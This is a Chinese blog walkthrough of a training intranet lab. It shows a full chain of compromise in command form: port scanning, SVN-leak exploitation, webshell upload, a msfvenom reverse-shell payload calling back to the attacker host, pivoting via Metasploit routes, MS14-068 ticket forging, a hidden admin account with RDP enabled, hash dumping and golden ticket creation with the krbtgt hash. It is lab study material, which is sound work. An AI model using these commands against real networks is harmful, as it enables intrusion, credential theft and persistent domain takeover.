【暗月内网靶场】项目六(简单的内网靶场)

暗月内网靶场

在这个项目中可以学到

  1. 如何搭建一个隧道
  2. 如何利用低版本的域环境
  3. 如何进行权限维持(影子账户,黄金票据)

🔥系列专栏:暗月内网靶场
🎉欢迎关注🔎点赞👍收藏⭐️留言📝
📆首发时间:🌴2023年3月12日🌴
🍭作者水平很有限,如果发现错误,还望告知,感谢!


前言

本文章仅用作实验学习,仅使用kali虚拟机作为操作学习工具。本文仅用作学习记录,不做任何导向。请勿在现实环境中模仿,操作。


环境搭建

  1. 新开一个vmnet19的虚拟网卡,10.10.10.0/24
  2. 检查各个靶机的ip能否互相ping通,在该靶场中没有禁Ping的情况
    在这里插入图片描述
    在这里插入图片描述

外网打点

这里选用masscan,因为他非常快速
当然也可以使用nmap,但是全端口扫描实在是太久了

masscan -p 1-65535 192.168.74.133 --rate=1000 

在这里插入图片描述开启的有139,135,445,3389,80
其他的基本上没啥用,如果你用NMAP去扫,那么就可以看出来

80端口

在这里插入图片描述

www.xp.cn看看是个啥
我第一直觉是phpstudy
在这里插入图片描述ok,实锤

接下来用nmap就已经开放的端口进行一个服务扫描

nmap -p 3306,445,3389,80,47001,49152,49156,49153,135,49157 -sS -sC -A 192.168.74.133 -oA web150-p
PORT      STATE  SERVICE        VERSION
80/tcp    open   http           Apache httpd 2.4.39 ((Win64) 

135/tcp   open   msrpc          Microsoft Windows RPC
445/tcp   open   microsoft-ds   Microsoft Windows Server 2008 R2 - 2012 microsoft-ds

3306/tcp  open   mysql          MySQL (unauthorized)
3389/tcp  open   ms-wbt-server?
| rdp-ntlm-info: 
|   Target_Name: HACKBOX
|   NetBIOS_Domain_Name: HACKBOX
|   NetBIOS_Computer_Name: WEB
|   DNS_Domain_Name: hackbox.com
|   DNS_Computer_Name: web.hackbox.com
|   DNS_Tree_Name: hackbox.com
|   Product_Version: 6.1.7601
|_  System_Time: 2023-03-08T11:49:11+00:00
| ssl-cert: Subject: commonName=web.hackbox.com
| Not valid before: 2023-03-07T05:49:33
|_Not valid after:  2023-09-06T05:49:33
|_ssl-date: 2023-03-08T11:50:20+00:00; -2s from scanner time.
47001/tcp open   http           Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open   msrpc          Microsoft Windows RPC
49153/tcp open   msrpc          Microsoft Windows RPC
49156/tcp closed unknown
49157/tcp closed unknown
MAC Address: 00:0C:29:44:38:FD (VMware)
Device type: general purpose
Running: Microsoft Windows 7|2008|8.1
OS CPE: cpe:/o:microsoft:windows_7::- cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_server_2008::sp1 cpe:/o:microsoft:windows_server_2008:r2 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_8.1
OS details: Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1
Network Distance: 1 hop
Service Info: OSs: Windows, Windows Server 2008 R2 - 2012; CPE: cpe:/o:microsoft:windows

可以看到暴露出了域名,当然这没啥用,我们所要添加的是已经提前获知的域名
之所以要添加域名才能访问,是因为有的根本就没申请IP与域名的绑定
这种情况在非法站点尤为明显

绑定hosts信息


gedit /etc/hosts

在这里插入图片描述可以用dism++很方便,并且也安全一点,其他的功能也挺好用

在这里插入图片描述而后就可以访问到了

在这里插入图片描述

指纹检查

whatweb www.webhack123.com

在这里插入图片描述

目录爆破

dirsearch  -u "www.webhack123.com" -e *

在这里插入图片描述

gobuster dir -u http://www.webhack123.com -w /usr/share/wordlists/dirb/big.txt -t 50 

在这里插入图片描述
均发现了svn的泄露
在svn泄露中,我们要知道几个常识,就是他一般会有一个wc.db,并且对于svn泄露,可以利用一些封装好的工具进行检测

svn泄露

首先访问,看看有没有东西

在这里插入图片描述
按照惯例我会使用windows来进行,但是不知道为啥下载不下来
在这里插入图片描述所以用kali

看看有没有db文件

wget http://webhack123.com/.svn/wc.db
sqlitebrowser  wc.db

发现是有的

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述在这个其中发现了很多带有时间戳的日志,其中包含密码。所以写一个脚本去爆破出最新的日志包含密码

#condition:utf-8
import requests;

url="http://www.webhack123.com/App/Runtime/Logs/20"
def addurls(url):
	urls=[]
	for i in range (1,13):
		for j in range (1,32):
			if i < 10:
				if j < 10:
					urls.append(url+"_0%s_0%s.log" %(i,j))
				else:
					urls.append(url+"_0%s_%s.log" %(i,j))
			else:
				if j < 10:
					urls.append(url+"_%s_0%s.log" %(i,j))
				
				else:
			
					urls.append(url+"_%s_%s.log" %(i,j))
				
	return urls
	
#print(addurls(url))

urls = addurls(url)
for i in urls:
	r = requests.get(i)
	if r.status_code == 200:
		print(i)
		with open ("web.txt",'a',encoding = "utf-8") as f:
			f.write(r.text)

找到了最新的之后把其中的日志拿下来去找到hash而后去爆破

在这里插入图片描述
在这里插入图片描述我们又在教程txt文件中发现了后台的地址
绑定到host即可
而后去访问
在这里插入图片描述
发现了后台的地址
我们尝试使用刚才获得的凭证登录

在这里插入图片描述这个地方也可以爆破密码
一位内验证码可以绕过
我们抓包发现,当你输入一次验证码抓包,密码正确或者不正确所返回的包中,包含一个url编码,解码之后内容不变,但是密码正确与否与所返回的包长度相关
在这里插入图片描述在这里插入图片描述
发现可以修改允许上传的文件类型
那我们就增加一个php文件去上传

在这里插入图片描述右键打开图片,url栏中出现地址
在这里插入图片描述而后冰蝎或者其他的什么去连接
在这里插入图片描述而后上传一个exe后门,因为php后门不好用
所以用msf去做

msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.1.130 LPORT=9999 -f exe > shell.exe

msfconcle
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 0.0.0.0
set lport 9999
run

对域查询

在这里插入图片描述

load kiwi
加载上准备好
每一个主机都要做这一步

在这里插入图片描述

查询arp表

查询arp表可以看到dns主机,有可能可以发现域控,大概率发现更多主机

arp表看到还有一个10主机
所以这可能是我们的下个目标,也有可能是DC
所以我们进入shell,查看进一步信息

输入shell

在这里插入图片描述

终端乱码

chcp 65001

ipconfig /all
看到域名是hackbox.com

查看登陆过的用户

run post/windows/gather/enum_logged_on_users

在这里插入图片描述
获得一个sid(很有用)
S-1-5-21-2005268815-658469957-1189185684-1103

在这里插入图片描述
并且在下面会看到10段的dns是10.10.10.149
一般来说域控同时也是dns

net view可以看到域内有一个dc用户

查看域
net view /domain
查看域内主机
net view /domain:hackbox 这里可以看到显示的用户与我们的net view用户一致
查看域内工作组信息
net group /domain

已经可以确定dc就是10.10.10.149
那么接下来我们就通过msf来做一个路由
也可以选择别的方法,因为msf的路由有时候1不稳定
比较主流的有两个工具
一个毒刺,一个NEO,可以自己探索一下
这里先用MSF做路由

MSF路由

查看全局路由器
run get_local_subnets
添加10段的路由信息
run autoroute -s 10.10.10.0/24
查看添加的路由表信息
run autoroute -p
background
use auxiliary/server/socks_proxy
show options
设置代理
set SRVPORT 6666
run
gedit /etc/proxychains4.conf

在这里插入图片描述

对内网探查

proxychains4 sudo masscan -p 1-65535 10.10.10.149 --rate=1000
proxychains4 sudo nmap -sS -sC -A 10.10.10.149 -p 445,25,49162,3269,49155,47001,139,49153,49158,464,5722,9389,110,53,88,46154,135,636,3268,389,49157,593,49152,49174,49165 -oA 10.149-p

MS17_010永恒之蓝尝试

use exploit/windows/smb/ms17_010_eternalblue

set payload windows/x64/meterpreter/reverse_tcp
或者
set payload generic/shell_bind_tcp

MS14-068 CVE-2014-6324

流程

域普通用户–>创建票据–>注入票据–>访问dc的权限–>域控超级管理员权限

在这里插入图片描述
永恒之蓝尝试失败
尝试ms14068

在这里插入图片描述
他是在2008很有用
可以在拥有一个普通用户的情况下访问到DC

S-1-5-21-2005268815-658469957-1189185684-1103  //刚才获取的SID
ms14-068.exe -u web@hackbox.com -s S-1-5-21-2005268815-658469957-1189185684-1103 -d 10.10.10.149 -p !@#Qwe456

在这里插入图片描述
可以看到在当前目录已经生成了票据

在这里插入图片描述但是因为MSF中MIMIKATZ模块没有导入靶机票据的功能,所以我们上传三个mimikatz的文件以及配置文件

在这里插入图片描述

kerberos::list  #查看本机票据
kerberos::purge  #删除本机所有票据
kerberos::ptc TGT_web@hackbox.com.ccache  #导入TGT_web@hackbox.com.ccache

在这里插入图片描述在这里插入图片描述我们已经可以正常的访问到DC,现在只需要借助AT来计划任务一个正向的后门,然后我们去找他,因为10.10.10.0网段不出网,而我们的 MSF做了路由,所以由我们来访问才可以,他是找不到我们的、

生成木马并制作计划任务

msfvenom -p windows/meterpreter/bind_tcp lport=7789 -f exe > dc.exe
copy dc.exe \\dc\c$
net time \\dc
at \\dc 23:00:00 c:/dc.exe

在这里插入图片描述

use exploit/multi/handler
set payload windows/meterpreter/bind_tcp
set lport 7789
set rhost 10.10.10.149
run

在这里插入图片描述
再次进行hashdump,查看已经登陆用户等等
获取hash以及sid,下一步可以进行黄金票据的利用

查看已登录用户
run post/windows/gather/enum_logged_on_users
获取HASH
run post/windows/gather/smart_hashdump
也可以
load mimikatz
creds_all

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

开启远程3389并添加组

run post/windows/manage/enable_rdp

net user admin$ !@#123shell /add
net localgroup administrators admini$ /add

proxychains4 rdesktop 10.10.10.149

黄金票据

要求

1.域名称
2.域的SID值
3.域的KRBTGT账户NTLM密码哈希
4.伪造用户名
步骤

清除之前的白银票据–>导出krbtgt的Hash–>生成Golden Ticket–>导入伪造
清除白银票据

load mimikatz
kerberos_ticket_purge

导出krbtgt的Hash、SID值
获取krbtgt的Hash(刚才hashdump已经得到了)

run post/windows/gather/smart_hashdump
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:6f60ace6accbcb76078ccc0312174e98

获取krbtgt的SID值

方法一
shell
wmic useraccount where name="krbtgt" get sid

在这里插入图片描述S-1-5-21-2005268815-658469957-1189185684-502

方法二
dcsync_ntlm krbtgt
ps
steal_token ID 窃取一个普通管理员的即可
getuid
dcsync_ntlm krbtgt

在这里插入图片描述

制作票据

golden_ticket_create -d hackbox.com -u rongsec -s S-1-5-21-2005268815-658469957-1189185684 -k 6f60ace6accbcb76078ccc0312174e98 -t /tmp/gold.ticket

在这里插入图片描述

在这里插入图片描述先清除一下普通用户上的票据并检查

meterpreter > kerberos_ticket_purge
[+] Kerberos tickets purged
meterpreter > kerberos_ticket_list

在这里插入图片描述

导入
load kiwi
kerberos_ticket_use /tmp/gold.ticket

在这里插入图片描述
在这里插入图片描述
此时这台普通的机器就可以对DC做很多事情了
新建账户等等

### 构建红队内网渗透测试靶场环境 #### 选择合适的虚拟化平台 为了构建一个安全可控的实验环境,建议使用 VMware Workstation 或 VirtualBox 这样的桌面级虚拟化软件来创建多个虚拟机实例。这些工具允许灵活配置网络模式并支持快照功能以便快速恢复初始状态[^2]。 #### 设计合理的网络拓扑结构 通常会模拟企业内部常见的分层架构,包括但不限于 DMZ 区域、办公区以及核心服务区等不同逻辑分区。通过设置不同的子网划分各个区域,并利用路由器连接起来形成完整的局域网体系。 #### 部署典型的服务端应用 安装 Windows Server 和 Linux 发行版作为服务器操作系统,在其上架设 Web 应用程序(如 IIS/Apache)、数据库管理系统(MySQL/SQLServer)以及其他可能成为攻击目标的企业级服务组件。确保版本老旧存在已知漏洞以增加实战训练价值。 #### 搭建必要的客户端设备 除了上述提到的服务端节点外,还需要准备若干台运行着日常业务操作系统的客户终端,比如 Windows 7/10 工作站或是 Mac OS X 笔记本电脑。它们可以用来发起恶意流量或者充当被控制主机的角色参与演练过程。 #### 安全防护措施部署 尽管这是一个受控环境中进行的安全研究活动,但仍需遵循最小权限原则仅授予必要访问权给参与者;同时开启防火墙规则限制外部未授权接入尝试;定期备份重要数据文件以防意外丢失造成不可挽回损失。 ```bash # 创建一个新的虚拟网络接口用于隔离测试环境 vboxmanage hostonlyif create # 设置静态IP地址范围供后续分配给各VM使用 vboxmanage dhcpserver add --netname HostInterfaceOnlyNetwork \ --ip 192.168.56.1 --netmask 255.255.255.0 --lowerip 192.168.56.100 \ --upperip 192.168.56.200 --enable ```
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

人间体佐菲

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值